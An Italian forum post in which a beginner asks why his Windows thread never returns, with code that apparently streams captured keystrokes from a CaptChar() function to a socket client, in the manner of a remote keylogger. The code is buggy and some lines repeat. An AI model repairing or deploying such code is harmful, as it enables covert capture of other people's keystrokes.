06/07/07 23:44
WARRIOR
Ragazzi, prendendo spunto dall'aritcolo di netarrow, ho un creato un programma con i thread, ma sorge un problema, infatti, il thread figlio viene creato, ma non ritorna piu al thread principale.
Questo e il codice sorgente della funzione secondaria:
Questo è il punto in cui viene creato il thread:
Purtroppo con i thread sono solo agli inizi.
Mi dite cos'e che non va?
Questo e il codice sorgente della funzione secondaria:
DWORD SendClientLog(SOCKET ServerSock, SOCKET ClientSock, sockaddr_in buff, int lung, bool Proc) { char *ClientKey; bool Connect = false; while(Proc) { ClientSock = accept(ServerSock, (struct sockaddr*)&buff, &lung); if(ClientSock != SOCKET_ERROR) { ServerSock = ClientSock; Connect = true; } while(Connect) { ClientKey = CaptChar(); if(ClientKey != "") { send(ClientSock,ClientKey,sizeof(ClientKey),0); } if(ClientSocket == SOCKET_ERROR) { Connect = false; } } }
Questo è il punto in cui viene creato il thread:
HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) SendClientLog(ServerSocket,ClientSocket,AcceptSocket_addr,lenght,Started), &dwThrdParam, 0, &dwThreadId);
Purtroppo con i thread sono solo agli inizi.
Mi dite cos'e che non va?
aaa